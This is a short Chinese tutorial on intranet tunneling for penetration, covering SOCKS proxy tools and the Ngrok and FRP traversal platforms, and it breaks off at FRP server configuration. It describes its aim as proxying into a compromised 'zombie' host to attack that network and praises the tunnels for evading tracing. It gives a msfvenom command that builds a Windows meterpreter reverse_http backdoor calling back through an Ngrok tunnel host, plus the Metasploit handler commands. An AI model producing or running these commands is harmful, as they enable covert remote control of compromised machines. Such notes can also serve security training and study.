内网安全-隧道穿透漫游(二)

Sock代理常用工具：Sockscap&Proxifier&Proxychains

目标：旨在代理连接肉鸡后实现本地渗透肉鸡网络架构。

Linux：Proxychains

Windows：Sockscap Proxifier

穿透平台：Ngrok Frp Nps(麻烦)

优点：穿透加密数据，中间平台，防追踪，解决网络问题

实验环境：两个不同的内网(有网络)实现穿透控制。

Ngrok使用流程：

1.注册-购买-填写-确认http://www.ngrok.cc/

协议：http 本地端口：192.168.46.131:80

2.测试：内网1执行后门-免费主机处理-内网2监听-内网2接受器

./sunny clientid 7e543d3efc295766 //控制端连接Ngrok的服务器

msfvenom -p windows/meterpreter/reverse_http lhost=xxxx.free.idcfengye.com lport=80 -f exe -o test.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 192.168.46.131

set lport 80

exploit

FRP简述：自行搭建，方便修改，成本低，使用多样化。

FRP使用流程：

1.服务端-下载-解压-修改-启动（阿里云主机记得修改安全组配置出入口）

服务器修改配置文件frp